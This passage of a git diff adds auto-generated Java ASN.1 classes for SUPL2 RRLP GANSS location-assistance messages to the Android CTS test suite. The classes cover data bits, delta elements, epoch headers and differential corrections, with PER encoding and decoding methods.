+ return getGanssDataBitsSatList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssDataBitsSatListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfGanssDataBitsElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssDataBitsSatList : "
+ + getGanssDataBitsSatList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssTODType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssTODType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssTODType() {
+ super();
+ setValueRange("0", "59");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssTODType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssTODType != null) {
+ return ImmutableList.of(TAG_ganssTODType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssTODType from encoded stream.
+ */
+ public static ganssTODType fromPerUnaligned(byte[] encodedBytes) {
+ ganssTODType result = new ganssTODType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssTODType from encoded stream.
+ */
+ public static ganssTODType fromPerAligned(byte[] encodedBytes) {
+ ganssTODType result = new ganssTODType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssTODType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSDataBitAssist = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBitsSgnElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBitsSgnElement.java
new file mode 100755
index 0000000..4bfffa1
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDataBitsSgnElement.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSDataBitsSgnElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSDataBitsSgnElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSDataBitsSgnElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSDataBitsSgnElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSDataBitsSgnElement != null) {
+ return ImmutableList.of(TAG_GANSSDataBitsSgnElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSDataBitsSgnElement from encoded stream.
+ */
+ public static GANSSDataBitsSgnElement fromPerUnaligned(byte[] encodedBytes) {
+ GANSSDataBitsSgnElement result = new GANSSDataBitsSgnElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSDataBitsSgnElement from encoded stream.
+ */
+ public static GANSSDataBitsSgnElement fromPerAligned(byte[] encodedBytes) {
+ GANSSDataBitsSgnElement result = new GANSSDataBitsSgnElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSSignalID ganssSignalType_;
+ public GANSSSignalID getGanssSignalType() {
+ return ganssSignalType_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSignalID
+ */
+ public void setGanssSignalType(Asn1Object value) {
+ this.ganssSignalType_ = (GANSSSignalID) value;
+ }
+ public GANSSSignalID setGanssSignalTypeToNewInstance() {
+ ganssSignalType_ = new GANSSSignalID();
+ return ganssSignalType_;
+ }
+
+ private SeqOf_GANSSDataBits ganssDataBits_;
+ public SeqOf_GANSSDataBits getGanssDataBits() {
+ return ganssDataBits_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOf_GANSSDataBits
+ */
+ public void setGanssDataBits(Asn1Object value) {
+ this.ganssDataBits_ = (SeqOf_GANSSDataBits) value;
+ }
+ public SeqOf_GANSSDataBits setGanssDataBitsToNewInstance() {
+ ganssDataBits_ = new SeqOf_GANSSDataBits();
+ return ganssDataBits_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssSignalType() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssSignalType();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssSignalTypeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSSignalID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssSignalType : "
+ + getGanssSignalType().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssDataBits() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssDataBits();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssDataBitsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOf_GANSSDataBits.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssDataBits : "
+ + getGanssDataBits().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSDataBitsSgnElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDeltaElementList.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDeltaElementList.java
new file mode 100755
index 0000000..0946300
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDeltaElementList.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1OctetString;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSDeltaElementList
+ extends Asn1SequenceOf<GANSSDeltaElementList.GANSSDeltaElementListComponentType> {
+ //
+
+ private static final Asn1Tag TAG_GANSSDeltaElementList
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSDeltaElementList() {
+ super();
+ setMinSize(1);
+setMaxSize(32);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSDeltaElementList;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSDeltaElementList != null) {
+ return ImmutableList.of(TAG_GANSSDeltaElementList);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSDeltaElementList from encoded stream.
+ */
+ public static GANSSDeltaElementList fromPerUnaligned(byte[] encodedBytes) {
+ GANSSDeltaElementList result = new GANSSDeltaElementList();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSDeltaElementList from encoded stream.
+ */
+ public static GANSSDeltaElementList fromPerAligned(byte[] encodedBytes) {
+ GANSSDeltaElementList result = new GANSSDeltaElementList();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSSDeltaElementList.GANSSDeltaElementListComponentType createAndAddValue() {
+ GANSSDeltaElementList.GANSSDeltaElementListComponentType value = new GANSSDeltaElementList.GANSSDeltaElementListComponentType();
+ add(value);
+ return value;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class GANSSDeltaElementListComponentType extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_GANSSDeltaElementListComponentType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSDeltaElementListComponentType() {
+ super();
+ setMinSize(1);
+setMaxSize(49);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSDeltaElementListComponentType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSDeltaElementListComponentType != null) {
+ return ImmutableList.of(TAG_GANSSDeltaElementListComponentType);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSDeltaElementListComponentType from encoded stream.
+ */
+ public static GANSSDeltaElementListComponentType fromPerUnaligned(byte[] encodedBytes) {
+ GANSSDeltaElementListComponentType result = new GANSSDeltaElementListComponentType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSDeltaElementListComponentType from encoded stream.
+ */
+ public static GANSSDeltaElementListComponentType fromPerAligned(byte[] encodedBytes) {
+ GANSSDeltaElementListComponentType result = new GANSSDeltaElementListComponentType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "GANSSDeltaElementListComponentType";
+ }
+}
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSDeltaElementList = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSSDeltaElementList.GANSSDeltaElementListComponentType value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDeltaEpochHeader.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDeltaEpochHeader.java
new file mode 100755
index 0000000..9bf4908
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDeltaEpochHeader.java
@@ -0,0 +1,426 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSDeltaEpochHeader extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSDeltaEpochHeader
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSDeltaEpochHeader() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSDeltaEpochHeader;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSDeltaEpochHeader != null) {
+ return ImmutableList.of(TAG_GANSSDeltaEpochHeader);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSDeltaEpochHeader from encoded stream.
+ */
+ public static GANSSDeltaEpochHeader fromPerUnaligned(byte[] encodedBytes) {
+ GANSSDeltaEpochHeader result = new GANSSDeltaEpochHeader();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSDeltaEpochHeader from encoded stream.
+ */
+ public static GANSSDeltaEpochHeader fromPerAligned(byte[] encodedBytes) {
+ GANSSDeltaEpochHeader result = new GANSSDeltaEpochHeader();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSDeltaEpochHeader.validityPeriodType validityPeriod_;
+ public GANSSDeltaEpochHeader.validityPeriodType getValidityPeriod() {
+ return validityPeriod_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSDeltaEpochHeader.validityPeriodType
+ */
+ public void setValidityPeriod(Asn1Object value) {
+ this.validityPeriod_ = (GANSSDeltaEpochHeader.validityPeriodType) value;
+ }
+ public GANSSDeltaEpochHeader.validityPeriodType setValidityPeriodToNewInstance() {
+ validityPeriod_ = new GANSSDeltaEpochHeader.validityPeriodType();
+ return validityPeriod_;
+ }
+
+ private GANSSEphemerisDeltaBitSizes ephemerisDeltaSizes_;
+ public GANSSEphemerisDeltaBitSizes getEphemerisDeltaSizes() {
+ return ephemerisDeltaSizes_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaBitSizes
+ */
+ public void setEphemerisDeltaSizes(Asn1Object value) {
+ this.ephemerisDeltaSizes_ = (GANSSEphemerisDeltaBitSizes) value;
+ }
+ public GANSSEphemerisDeltaBitSizes setEphemerisDeltaSizesToNewInstance() {
+ ephemerisDeltaSizes_ = new GANSSEphemerisDeltaBitSizes();
+ return ephemerisDeltaSizes_;
+ }
+
+ private GANSSEphemerisDeltaScales ephemerisDeltaScales_;
+ public GANSSEphemerisDeltaScales getEphemerisDeltaScales() {
+ return ephemerisDeltaScales_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaScales
+ */
+ public void setEphemerisDeltaScales(Asn1Object value) {
+ this.ephemerisDeltaScales_ = (GANSSEphemerisDeltaScales) value;
+ }
+ public GANSSEphemerisDeltaScales setEphemerisDeltaScalesToNewInstance() {
+ ephemerisDeltaScales_ = new GANSSEphemerisDeltaScales();
+ return ephemerisDeltaScales_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getValidityPeriod() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getValidityPeriod();
+ }
+
+ @Override public void setToNewInstance() {
+ setValidityPeriodToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSDeltaEpochHeader.validityPeriodType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "validityPeriod : "
+ + getValidityPeriod().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemerisDeltaSizes() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemerisDeltaSizes();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemerisDeltaSizesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaBitSizes.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemerisDeltaSizes : "
+ + getEphemerisDeltaSizes().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemerisDeltaScales() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemerisDeltaScales();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemerisDeltaScalesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaScales.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemerisDeltaScales : "
+ + getEphemerisDeltaScales().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class validityPeriodType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_validityPeriodType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public validityPeriodType() {
+ super();
+ setValueRange("1", "8");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_validityPeriodType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_validityPeriodType != null) {
+ return ImmutableList.of(TAG_validityPeriodType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new validityPeriodType from encoded stream.
+ */
+ public static validityPeriodType fromPerUnaligned(byte[] encodedBytes) {
+ validityPeriodType result = new validityPeriodType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new validityPeriodType from encoded stream.
+ */
+ public static validityPeriodType fromPerAligned(byte[] encodedBytes) {
+ validityPeriodType result = new validityPeriodType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "validityPeriodType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSDeltaEpochHeader = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDiffCorrections.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDiffCorrections.java
new file mode 100755
index 0000000..a779ba9
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSDiffCorrections.java
@@ -0,0 +1,366 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSDiffCorrections extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSDiffCorrections
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSDiffCorrections() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSDiffCorrections;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSDiffCorrections != null) {
+ return ImmutableList.of(TAG_GANSSDiffCorrections);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSDiffCorrections from encoded stream.
+ */
